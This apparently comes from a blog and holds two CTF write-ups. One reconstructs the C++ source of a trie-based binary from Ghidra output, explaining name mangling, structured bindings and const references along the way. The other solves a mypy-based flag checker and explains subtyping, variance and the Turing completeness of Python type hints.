Setting Up the Structure

Demangling Names

Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a functional viewpoint.

In C++, function and class names are mangled. So instead of using sensible names like TrieNode::mix, std::string::substr, and std::endl, the compiler stores hellish sequences like _ZN8TrieNode3mixEc, _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm, and _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_. (Yes, endl is a function.)

Why do C++ compilers behave this way?

This has to do with function overloading. For example:

void print(int i) { /* ... */ }
void print(float f) { /* ... */ }
void print(std::string s) { /* ... */ }

^{C++ function overloading in action. Same name. Different parameters.}

With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don't have this problem in plain old C, because function overloading isn’t even a concept!)

_(collapse)

To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com²) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.

Classy Types

When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.

Looking at the demangled function names, we can identify the TrieNode class. What next?

There are two parts to reversing a class:

Methods/functions. How does the class behave? What does it do?
- These are easy to find due to the prefix (e.g. TrieNode::). Reversing their content is a different question, which we'll address in upcoming sections.
Members. What comprises a class? What is its state?
- This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (xrefs are useful!).
  - Is it set to only 0 or 1? And used in conditions? Probably a boolean.
  - Is it compared to other numbers a lot and used near loops? Probably an integer representing size.
- By peeking at the TrieNode constructor, we figure out that TrieNode has three members.
  1. An unordered map (aka hashmap) from chars to nodes. Size: 0x38 bytes. As this resembles the edges of the node, we'll call variable this next_node.
  2. A bool. Size: 1 byte.
  3. Another bool. Size: 1 byte.

Overall, our structure should resemble:

using namespace std; // FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.

void wordhash(string s) {} // return type: ???

struct TrieNode {
	// Members.
	unordered_map<char, TrieNode*> next_node;
	bool bool1;
	bool bool2;

	// Constructor.
	// Initialise variables. `next_node`'s constructor is called automatically.
	TrieNode() : bool1{false}, bool2{false} {}   // Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/

	void insert(string s) {} // return type: ???
	void search(string s) {} // return type: ???
	void mix(char cmix) {} // return type: ???
}

int main() {}

^{Return types are unknown, because most compilers don't mangle them with the name. For now, they've been substituted with void and left as an exercise for the reader.}

On Struct vs. Class

Structs are public by default. Classes are private by default.

Public/private are concepts which fall under OOP encapsulation. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.

I chose to use struct here because I'm lazy and want to make members public.³ Some of them are accessed directly in main anyway.

_(collapse)

Reversing

Plagiarise a Decompiler

Now that we have a basic structure set up, it's time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!

So let’s start with that! We can ~~plagiarise~~ copy output from Ghidra and rewrite it to make programmatic sense.

Exercise: Reverse the wordhash function.

Solution

char wordhash(string s)
{
    char hash = 0;
    for (int i = 0; i < s.size(); i++)
        hash ^= s[i];
    return hash;
}

This is a simple hash function which xors all characters in a string. It's not a very effective hasher, because it's prone to collisions (also it's not const-correct). But eh, this is just for a CTF challenge.

_(collapse)

Implement the Data Structure

Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra's output.

Exercise: Reverse TrieNode::insert, TrieNode::search, and TrieNode::mix.

We can make good use of Ghidra's Rename, Retype, and Edit Function Signature tools to clean up the code.
Ghidra sometimes loads incorrect function signatures (e.g. for operator[]). You may wish to edit the signature so that it displays arguments properly.⁴

I'll leave the first two functions as an exercise for the reader. :)

mix() seems to be a total oddball, as tries don't usually have such a function.

^{Ghidra decompilation of TrieNode::mix().}

TrieNode::mix: Possible Solution

void mix(char cmix)
{
	unordered_map<char, TrieNode*> new_map;

	// For each edge...
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		// ...update the character.
		new_map[ch ^ cmix] = node;
	}

	// A new map is used so that old mappings aren't kept.
	// Update the map of the current node.
	this->next_node = new_map;

	// Recurse into child nodes with the same xor key.
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		node->mix(cmix);
	}
}

Now if you run this through the compiler diff, it should respond with some lines:

-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

Subtle. But there is a good reason why this occurs. We'll look at this in more detail later.

_(collapse)

On Various Features

Common, but worth mentioning.

On auto

auto is a special keyword introduced in C++11 typically used to tell the compiler: "figure out this type for me".

It has seen wide adoption and growing support in the standard (more features for auto are added each standard). Now (C++20) it's used widely in template parameters and lambda parameters.

_(collapse)

On Iterators

The previous solution for mix() made use of iterators. These are commonly used by the STL, providing a generic interface for iterating over containers.

for (auto it = container.begin(); it != container.end(); ++it) {
	// ...
}

We generally start with .begin() and iterate with prefix increment (++it) until we hit the .end() iterator. With iterators, we can apply generic algorithms on generic containers.

_(collapse)

On Unordered Map

You may be wondering: why std::unordered_map? Why not std::map? Why type 10 extra keystrokes?

The reason is time complexity.

std::map is a binary search tree, giving O(log n) search time on average (where n is the number of entries).
std::unordered_map is a hashmap, giving O(1) search time on average. Takes more space though.

As the value of n increases, the number of operations required for std::map will increase at a faster rate compared to std::unordered_map. This is because std::unordered_map is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, O(1).

In the interest of performance, it's typical to opt for unordered_map.

But in our case, since a node only has 256 possible edges (char), the potential speed boost is limited, and the choice between map and unordered_map is debatable. ¯\_(ツ)_/¯

_(collapse)

On Scoping

An object in C++ has a constructor and destructor, functions that run at the beginning and end of its lifetime. The object's scope affects the placement of its constructor and destructor.⁵

Let’s look at some examples:

// String in outer scope.
int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
	}
} // <- string destructor called

// String in inner scope.
int main()
{
	if (1) {
		std::string s; // <- string constructor called
		// do stuff
	}   // <- string destructor called
}

Do you C the difference?

Things become complicated when we further consider lvalues and rvalues (think: variables and temporaries).

Complicated Examples

// Passing lvalue string to normal parameter.
// Copy constructor is called and a temp object is created.
void print(string s);

int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
		// ---
		// <- string copy constructor called (copies s to a temporary)
		print(s);
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}   // <- string destructor called

// Passing rvalue string to normal parameter.
// Regular constructor is called and a temp object is created.
void print(string s);

int main()
{
	if (1) {
		// do stuff
		// ---
		// `const char*` literal is implicitly converted to std::string.
		// <- string constructor called (creates a temporary)
		print("Hello world!");
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}

_(collapse)

I don't intend to cover every single possible case. But yes, C++ is extremely nuanced in this regard. (See also: classes, special member functions, move semantics.)

The point is: object scoping is all reflected at assembly level. We can get a good understanding where an object is declared by paying attention to its constructors and destructors.

This applies to classes, such as STL containers. Primitives (int, char, pointers) don't have constructors/destructors, so it’s trickier to tell where they're instantiated. It's even trickier with heavy optimisations.

Exercise: Reverse the main function.

Use the position of constructors and destructors to determine the scope of various strings.
Beware backslashes in the inserted strings.

Possible Solution

int main()
{
    int opt;
    string str;
    TrieNode* node = new TrieNode();

	// `const char*` literal is implicitly converted to std::string.
    node->insert("\x72\x50\x54\x52\x73\x66\x51\x5a\x79\x72\x75\x4b\x7f\x4e\x4d\x55\x47\x7e\x68\x7e\x72\x51\x42\x71");
	// node->insert(string("...")); also works
    // -- snip --
    // node->insert("...");
    
    node->should_mix = true;

    cout << "Enter [1] for insert string" << endl;
    cout << "Enter [2] for search string" << endl;

    while (true) {
        cout << "Option: ";
        cin >> opt;
        if (opt == 1) {
            cout << "Input string to insert: " << endl;
            cin >> str;
            node->insert(str);
        } else if (opt == 2) {
            cout << "Input string to search: " << endl;
            cin >> str;
            bool res = node->search(str);
            if (res)
                cout << "String " << str << " exists." << endl;
            else
                cout << "String " << str << " does not exists." << endl;
        } else {
            cout << "Bye" << endl;
            return 0;
        }
    }
}

_(collapse)

From here on, we'll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.

On Structured Bindings

Here we take a detour to peek at build.sh. And something sparkly catches our eye:

g++ "$@" -fno-asm -std=c++17 -g -o "$binary" "$source"

Our code is compiled with C++17—what an oddly specific standard!

One cool feature introduced by this standard is structured bindings, which is as close as we can get to Python iterable unpacking.

for (auto it = next_node.begin(); it != next_node.end(); ++it) {
	// -----
    auto pair = *it;
    char ch = std::get<0>(pair);
    TrieNode* node = std::get<1>(pair);
	// +++++
    auto [ch, node] = *it;
	// +++++
    new_map[ch ^ cmix] = node;
}

Since it is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to ch and node.

One telltale sign of structured bindings is in the second loop of TrieNode::mix(). Notice how the first item of the pair (ch2 = std::get<0>(pair);) is read but never used.

^{Ghidra decompilation of the second loop of mix(). Notice how ch2 is never used. (You can also verify this by inspecting the disassembly!)}

Another giveaway is that std::get is rarely used to access map pairs, unless in generic code. The idiomatic ways are:

std::pair members (through iterator): it->first, it->second

std::pair members (through pair):

for (const auto& pr : map) {
  // pr.first, pr.second
}

structured bindings (since C++17)

N.B. With optimisations, these indicators would be less obvious. Thankfully the program wasn't compiled with optimisations.

On Const Ref

We're still short of our target though. Some diff lines stand out:

 ; Extra stack variables!
-sub     rsp, 0xc8
-mov     [rbp-0xc8], rdi
+sub     rsp, 0xb8
+mov     [rbp-0xb8], rdi
 ; Calling the wrong overload!
-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

^{Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.}

Looks like we declared 16-bytes of extra stack variables.
- Local variables are stored on the stack, which allocates memory by a simple sub instruction.
- Larger subtraction = more stack memory allocated.
It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:
```
-std::get<0>(std::pair<char, TrieNode*>&)
+std::get<0>(std::pair<char, TrieNode*> const&)
```
C++

We can fix both these issues by qualifying our binding as const&.

 for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    auto [ch, node] = *it;
+    const auto& [ch, node] = *it;
     new_map[ch ^ cmix] = node;
 }

With auto, our binding was creating new char and TrieNode* copies. (Hence, the extra 16 bytes.) With const auto&, we take a constant reference.

Constant: meaning we only read the value. No modifications. This fixes the second issue.
Reference: meaning we refer (point) to the original objects instead of copying them. This fixes the first issue.

Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).

On For-Range Loops

The astute may notice the above can be refactored slightly with the help of range-based for-loops. These were introduced in C++11, and are like Python for-in loops, but less powerful.

Example

-for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    const auto& [ch, node] = *it;
+for (const auto& [ch, node] : next_node) {
     new_map[ch ^ cmix] = node;
 }

_(collapse)

In fact, range-based for-loops are syntactic sugar for the plain loops we all know and love.

for (range_decl : range_expr) {
	/* ... */
}

translates to...

{
	auto&& __range = range_expr;
	auto __begin = begin; // Usually std::begin(__range)
	auto __end = end;     // ...and std::end(__range).
	for (; __begin != __end; ++__begin) {
		range_decl = *__begin;
		/* ... */
	}
}

(See more: cppreference.)

On Control Flow

Decompiler output may not accurately present the control flow of the original program. Changing:

the order of control flow, and
which statement is used

may lead us closer to 100%.

Would it make more sense to use a switch instead of an if in a certain place?

Other Useful Tips

Use Godbolt’s Compiler Explorer to play around with disassembly output. It helps with analysing small details such as variable declaration.
- Remember to set x86-64 gcc 12.2 and -std=c++17.
Two good sources for standard library documentation are cppreference (high quality) and cplusplus.com (beginner-friendly).
Version control is incredibly useful for tracking incremental changes.

The Infernal Flag

Once we recover enough source code, it's time to find the internal flag. This is probably the least interesting part (for me), so I'll keep it short.

Notice:

In main, a bunch of garbage strings are inserted into the trie.
Afterwards, mixing is turned on (node->should_mix = true), so that the next node->insert() will jumble the trie...

Now it's time to take a really close look at mix().

What is jumbled? All the strings.
How? All chars are xor'ed with a char (the wordhash of a string).
How many possible chars are there? 256.
Two words: brute force.

Maybe one of the strings just happens to be the internal flag xor'ed. Who knows?

After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!

Final Remarks

I'm sure the chal is called Vitamin C++ because it's designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:

Language Features: auto, structured bindings, for-range loops, const-ref.
Library Features: iterators, unordered map.
Unordered map is preferred for performance in lookup.
Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)
Pay attention to groups of sub and mov instructions to check if we declared too little/many stack variables.
Ghidra is pretty powerful.
C++ is fun.

Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can't complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.

Also, who doesn't like a good pun hidden in a challenge?

Solve Sauce

(Files not embedded, as they're a bit big.)

Flag

hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}

Footnotes

Decompetition is a reverse-engineering CTF held irregularly. ↩︎
[2024 Nov] demangler.com seems to be down. Here's a different site with similar functionality: n.fuqu.jp/c++filtjs/ ↩︎
In proper engineering, we would hide the implementation behind private, so next_node should be a private variable. But since this is a CTF, proper engineering comes second. 😛 ↩︎
Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). ↩︎
This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. ↩︎

Subtype Metaprogramming is Mostly Harmless

2023-10-02T00:00:00Z

Types are cool! But y'know what's even cooler? A CTF challenge on types!

This year's MapleCTF graced us with a challenge involving much class, much inheritance, much confuzzlement, and much eyesore.

Description

Mostly Harmless

Some people consider type annotations to be useless. I consider everything but type annotations redundant.

Author: JJ
17/291 solves.

The chal is also humorously tagged "cursed" and "misc". Well, that's reassuring...

Anyway, we're presented with two files:

app.py: Driver code to convert the flag (input) to a mysterious line of output, then opens a subprocess and runs
```
mypy output.py
```
Shell
output.py: A template file full of class declarations and inheritance. Utter gibberish on first sight.

You can follow along by getting these files here.

Solve

What? A section titled "solve"? Already? What about the usual analysis and observations?

Usually I begin my writeups with an extensive analysis section. Contrary to this, Mostly Harmless is one of those blursed challenges which favours those with strong guess-fu; but the challenge is so intellectually challenging and deep, that to properly reverse (let alone understand) it would take ~~a PhD,~~ ~~years,~~ extra study post-CTF.

The key idea is to recognise:

How does the flag checking work? Where is the final condition which decides whether the input is correct or not?
- By using the mypy type checker.
How do the classes containing numbers (e.g. QLW_s1, QRW_s1) relate to the classes containing a letter (e.g. L_x, L_a)?
- By inheriting classes in a specific manner, therefore creating a subtyping relationship.

Still, let's look at some key insights:

The final line of output.py is built by stacking input in a recursive fashion:
```
L_<INPUT[i]>[N[ L_<INPUT[i-1]>[N[ ... ]] ]]
```
Python
- Thus, characters are encoded by the L_* classes.
- The chain also begins (or ends?) with QRW_s29.
There are a bunch of Q*_s* classes, numbered from 1 to 71. Indices, perhaps? Or just references?

Any clue to the relationship between these symbols? Yes! We see interesting stuff from lines 320 to 459.

# Line 378.
class QL_s29(Generic[T], L_n["N[QLW_s31[L_x[N[MR[N[T]]]]]]"]): ...
#          │               │          │
#          │               │          └── Next number
#          │               └── Next letter in flag
#          └── Current number

And guess what? That's all we need! Just follow the numbers like how Alice follows the White Rabbit!

Script

The solve is rather simple and fits within 25 lines (including comments!).

import re

# Extract the lines containing pointers(?)/relationships between letters.
with open('output.py') as f:
    lines = f.readlines()[319:458:2] # Skip every 2 lines, bc redundant info.

lookup = {}

# Parse and store the relationships in a lookup map.
for line in lines:
    curr_idx, char, next_idx = re.findall(r'Q._s(\d+)[^ ]+, L_(\w).*.W_s(\d+)', line)[0]
    lookup[int(curr_idx)] = (int(next_idx), char)

# Follow the pointers until we hit 71.
idx = 29
flag = ''
while idx != 71:
    idx, c = lookup[idx]
    flag += c

# Profit!
print(f'maple{{{flag}}}')

Flag

Lé Flaggo

maple{no_type_system_is_safe_from_pl_grads_with_too_much_time_on_their_hands}

C++ template metaprogramming reverse when?

_(collapse)

We're done. We got the flag. But my curious side wants to dig deeper.

So let's go deeper! The rest of this post attempts to dissect the type theory behind the challenge, starting from basic principles.

Back to the Basics

This section attempts to bolster the reader's understanding of programming and type theory in order to understand the nitty-gritty of the challenge. If you're comfortable with types and variance, feel free to skip to the next section. If you have any questions, do let me know.

Classes

Classes are a fundamental concept in object-oriented programming (OOP) that allow us to define objects with attributes (variables) and behaviours (methods/functions). They serve as blueprints or templates for creating instances of objects. In the functional realm, classes are used to create new types.

From here on, class and type are interchangeable.

Here's an example:

# Declare a new class called Challenge.
class Challenge:
    # __init__ is a magic method called automatically when an instance is created.
    def __init__(self, title, description):
        print(f"Creating challenge {title}...")
        self.title = title
        self.description = description

# Create instance of our class.
chal = Challenge("Mostly Harmless", "A totally harmless reverse challenge abusing Python types.")
# Prints "Creating challenge Mostly Harmless..."

But we'll stay relevant to the challenge and keep things simple by declaring classes without a meaningful body. Let's not worry about fancy Python methods and class mechanics.

# This also declares a class called Challenge.
class Challenge: ...

The ... (ellipsis) usually denotes an empty implementation.

Classes can do a lot more, but for now this explanation suffices.

Inheritance

Inheritance is a mechanism in OOP that allows a class to inherit attributes and behaviour from another class. The new class is called a subclass or derived class, and the class being inherited from is called the superclass or base class.

class Reverse(Challenge): ...

Here, Reverse is a subclass of Challenge, and Challenge is a superclass of Reverse.

Semantically, a Reverse is also a Challenge, but the inverse does not always apply.

assert isinstance(Reverse(), Reverse) == True    # A Reverse is a Reverse. (Duh.)
assert isinstance(Reverse(), Challenge) == True  # A Reverse is also a Challenge.
assert isinstance(Challenge(), Reverse) == False # Supertype is not a subtype.

Type-wise, it creates a relationship: Reverse is a subtype of Challenge. More on this later.

We can inherit multiple classes too:

# Create a class for Python Reverse challenges.
class PythonReverse(Python, Reverse): ...

Both Python and Reverse are superclasses/supertypes of PythonReverse.

Mathematically, we denote inheritance with $A : B$, where $A$ is the subtype and $B$ the supertype.

Typing

Python is a dynamically-typed language and does not offer type-checking out-of-the-box. This challenge uses the third-party tool mypy to type-check output.py (get it with pip install mypy). Let's look at a typed example.

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...

x: Challenge = Challenge()
y: Challenge = Reverse()
z: Challenge = Web()

We declare three classes: Challenge, Reverse, and Web. The latter two are nominal subtypes of Challenge.
Nominal vs. Structural Subtyping
Generally, there are two ways to look at subtypes:
- Nominal Subtyping: Two types are considered subtypes if they were declared such. Usually an explicit link is specified, e.g. inheritance.
  class Reverse(Challenge): ...
  Python
  Here, Reverse is a (nominal) subtype of Challenge.
- Structural Subtyping: Two types are considered subtypes if their structures match. No explicit linking required.
  class Challenge: title = ... description = ... def print(): ... class Web: # No inheritance. title = ... description = ... url = ... def print(): ... def instantiate(): ...
  Python
  Web is a (structural) subtype of Challenge, because Web contains attributes and behaviour of Challenge.
  
  This is more akin to duck typing.
All the subtyping discussed in this post is nominal subtyping.

_(collapse)
We then...
- declare three variables x, y, z,
- annotate them with Challenge, and
- initiate them to instances of the classes we created.

Beware, Challenge takes on two roles here:

Type. When inheriting (in the declaration of class Reverse) or when annotating x, Challenge is treated as a type.
Constructor. When calling Challenge(), we are instantiating an object.

The type annotation is a constraint we place on the variable.

When we run mypy on this file, the type-checker will:

process class declarations,
register subtyping relationships ($\texttt{Reverse} <: \texttt{Challenge}$, $\texttt{Web} <: \texttt{Challenge}$), and
type-check annotations and values.

$U <: T$ denotes "$U$ is a subtype of $T$".
$U :> T$ denotes "$U$ is a supertype of $T$".

Examples

$\texttt{int} <: \texttt{object}$
$\texttt{RuntimeError} <: \texttt{Exception} <: \texttt{BaseException}$
$\texttt{object} :> \texttt{int}$

The type-check passes if the values are subtypes of the annotations. This is also called a subtype query (distinguished by $<:^?$).¹ Other examples of subtype queries:

x: int = 5                  # Is type(5) a subtype of int? ✓
y: float = "abc"            # Is type("abc") a subtype of float? ✗
z: Challenge = Reverse()    # Is type(Reverse()) a subtype of Challenge? ✓

We'll find out later how to resolve subtype queries. That is, we'll look at how to figure out if a class is a subtype of another class. (Jump.)

Subtypes are great for polymorphism as they allow us to construct containers (lists, arrays, maps) in a concise and type-safe manner. Here's a simple example:

from typing import *

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...
class Pwn(Challenge): ...

# Create a list of different challenges.
chals: List[Challenge] = [Reverse(), Web(), Pwn()]

Invariance, Covariance, and Contravariance

Wow, big mathy terms.

Suppose we want to display our list of challenges. We create a function display() which takes a list of challenges. But what if we specifically pass in a list of Reverse challenges?

# Create a generic list type using an invariant type variable T.
T = TypeVar('T')
class MyList(Generic[T]): ...

def display(chals: MyList[Challenge]): ...

display(MyList[Reverse]())
# ERROR! Argument 1 to "display" has incompatible type "MyList[Reverse]"; expected "MyList[Challenge]"

(N.B. For the sake of this section, I've used a custom MyList type instead of typing.List.)

But why did this error? Although mypy deduced that $\texttt{Reverse} <: \texttt{Challenge}$, it couldn't deduce that our subtype query $\texttt{MyList[Reverse]} {} <:^? \texttt{MyList[Challenge]}$ holds.

This is where covariance and contravariance come into play. With these two bad bois, we can derive further relationships on generic types. The two are similar, with a minor difference.

Let $F[T]$ be a generic container with type parameter $T$.
If $T$ is covariant, then $A <: B\ \iff\ F[A] <: F[B]$ for any type $A$, $B$.
If $T$ is contravariant, then $A <: B\ \iff\ F[A] :> F[B]$ for any type $A$, $B$.² (It flips!)
If $T$ is invariant, then $A = B\ \iff\ F[A] = F[B]$. No other subtyping relationships are derived. (This is the default!)

Hence, in the previous code example, we can fix the code by adding covariant=True:

T = TypeVar('T', covariant=True)

Now $\texttt{MyList[Reverse]} {} <: \texttt{MyList[Challenge]}$, and the program compiles.

At this point, you should be able to appreciate the double entendre in the title: N[Subtype Metaprogramming] is N[Mostly Harmless].

Metaprogramming with Type Hints

Disclaimer: Here be dragons.

I don't have a PhD in computer science or mathematics. Most things below are rephrased from Roth's paper, but if you spot something erroneous (or have questions), do let me know. :D

We haven't even started digging through output.py! Thankfully, the challenge author linked a paper for our perusal.

Be a Subtype Checker

Back to the challenge. The program leverages the mypy type-checker to perform flag-checking. The last line of output.py asks an important question (aka subtype query): is QRW_s29[L___TAPE_END__[N[...]]] a subtype of E[E[Z]]???

To answer this subtype query, we need to search for a trail of supertypes leading us from the supposed subtype (QRW_s29[L___TAPE_END__[N[...]]]) to the upper type (E[E[Z]]).

A quick aside.

We use "$\rightsquigarrow$" to denote a resolution step in the checker.
For convenience, we simplify expressions by ignoring brackets: $C[D[E[A]]]$ becomes $CDEA$.

How does the search go? Meet the two subtyping rules used by the type-checker:

Super. Substitute a type with its supertype. $$ (C : D) \land (CA <: EB) {} \rightsquigarrow DA <: EB $$ In English, if $C$ has a supertype $D$, we can "go up a level" to search for a match.
Cancel.³ Remove the outermost type from both sides of the query. (And flip, since all type parameters are assumed to be contravariant!) $$ EA <: EB \rightsquigarrow A <: B $$ This just comes from our definition of contravariance.

The search terminates once we find a match $A <: A$.

What if there are multiple supertypes (due to multiple inheritance)? Wouldn't our paths diverge? Which one do we choose?

Keep in mind we're performing a search.

A good heuristic is to choose a supertype that cancels out the outer type on the other side.

For example:

class C(Generic[T], A["C[T]"], B["A[T]"]): ...
_: B[C[Z]] = C[C[Z]]

Here, choosing $BAT$ allows us to cancel $B$ in the next step.

$CCZ <:^? BCZ$
$\rightsquigarrow BACZ <:^? BCZ$ (Super)
$\rightsquigarrow ACZ :>^? CZ$ (Cancel)

Subtype-Checking Example

Let’s walk through an example of an infinite subtyping query.⁴ Here's the code:

from typing import TypeVar, Generic, Any
z = TypeVar("z", contravariant=True)
class N(Generic[z]): ...
x = TypeVar("x")
class C(Generic[x], N[N["C[C[x]]"]]): ...
class T: ...
class U: ...
_: N[C[U]] = C[T]()  # Subtype query: CT <: NCU.

"C[C[x]]" is quoted in order to forward-reference C. (We declare and use it in the same statement.)

And here's the applied rules:

$CT <:^? NCU$
$\rightsquigarrow NNCCT <:^? NCU$ (Super)
$\rightsquigarrow NCCT :>^? CU$ (Cancel)
$\rightsquigarrow NCCT :>^? NNCCU$ (Super)
$\rightsquigarrow CCT <:^? NCCU$ (Cancel)
(and so on...)

As you may notice, we started with $CT <:^? NCU$, but after 4 steps, another $C$ joined the party. Inductively, this will continue to grow forever (or until mypy runs out of space).

Python Type Hints are Turing Complete

It turns out that Python type hints are Turing Complete thanks to two characteristics: contravariance and expansive-recursive inheritance.

Contravariance, as we saw previously, means $A <: B\ \iff\ F[A] :> F[B]$.

In this section, we assume all type parameters are contravariant.
Expansive-Recursive Inheritance is more complicated to define, but the implications are that we can inherit recursively, and generate infinite, undecidable subtype queries. We saw an example of this in a previous section. (Read more in §2 of Roth's paper.⁵)

With these, Python type hints can (slowly) simulate any Turing machine or computation!

What is a Turing Machine?

A Turing Machine is a theoretical computing device that operates on an infinite tape divided into cells. It has a read/write head that follows rules to read, write, and move on the tape based on its current state and the symbol it reads. It repeats this process until it reaches a halting state.

Turing Machines are powerful because they can solve a wide range of computational problems. They can perform calculations, simulate other machines, and theoretically solve any problem that can be solved by an algorithm. They serve as a fundamental model for understanding the capabilities and limitations of computation.

Get some intuition by playing the Turing Machine Google Doodle.

_(collapse)

The whole ordeal is rather complicated. Essentially, there are two things to be aware of:

Type Encoding. Different aspects of the tape machine are encoded as types. For example, the L_* encode the set of possible values (excluding $\bot$, i.e. no value), and ML encodes the machine head.

^{The components of Grigore’s subtyping machine. All classes are parameterised by a contravariant type parameter $x$, except $Z$, which is monomorphic.⁵}
Inheritance Rules. These are used to encode state transitions and the general mechanics of the Turing machine.

^{Roth's subtyping inheritance rules. This image is included to illustrate inheritance rules. They differ from the rules in the challenge (which are based on Grigore's work). The first 4 rows encode Turing Machine state transitions. Again, the type parameter $x$ is contravariant.⁵}

If you want to read more, I suggest reading §1.2 of Roth's paper.⁵

Decoding the Challenge's Subtype Query

Just for fun, let's solve some subtype queries from the challenge. Who needs a job when you're employed as a full-time subtype checker?

Although the given subtype query in output.py doesn't work, we can still try simpler versions. It turns out the query recurses on the numbers. For example, the following queries compile:

E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
E[E[Z]] = QRW_s06[L___TAPE_END__[N[L_s[N[L_d[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
E[E[Z]] = QRW_s30[L___TAPE_END__[N[L_s[N[L_d[N[L_n[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]]]()

We just started with the base case (empty suffix of flag), and worked backwards.

Let's look closer at the base case:

$$\texttt{QRW\_s71[...]} <:^? \texttt{E[E[Z]]}.$$

It turns out this is a special case, since the declaration of QRW_s71 inherits from E["E[Z]"]. So with just one Super expansion step, we conclude that the base case checks out. Wow, life seems easy as a subtype-checker.

Let's try the next query.

_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()

Although QRW_s46 inherits multiple classes, we'll substitute the E["QRL_s46[N[T]]"] supertype, because this allows us to cancel E[...] afterwards.

# Super.
_: E[E[Z]] = E[QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
# Cancel.
_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = E[Z]()

We can carry on...

_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = QRL_s46[N[QLW_s46[E[E[Z]]]]]()
_: L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = QLW_s46[E[E[Z]]]()
_: L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QLW_s46[L___TAPE_END__[N[E[E[Z]]]]]()
_: MR[N[L___TAPE_END__[N[E[E[Z]]]]]] = QLW_s46[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Boy, work as a subtype checker seems like slave labour.

Notice that we seem to have... doubled-back? Let's do a quick comparison.

# Initial query.
_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
# Midway.
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Indeed, the query has made one pass over the tape. Also notice how:

QRW_s46 changes to QLW_s46. (Direction swapped!)
The chain of tokens is reversed: L___TAPE_END__, L_s, MR becomes MR, L_s, L___TAPE_END__.

This is one shortcoming of Grigore's encoding of a subtyping machine: it makes a pass over the entire tape before processing a single state on the Turing Machine. This drastically increases the runtime of the machine.

Let's continue...

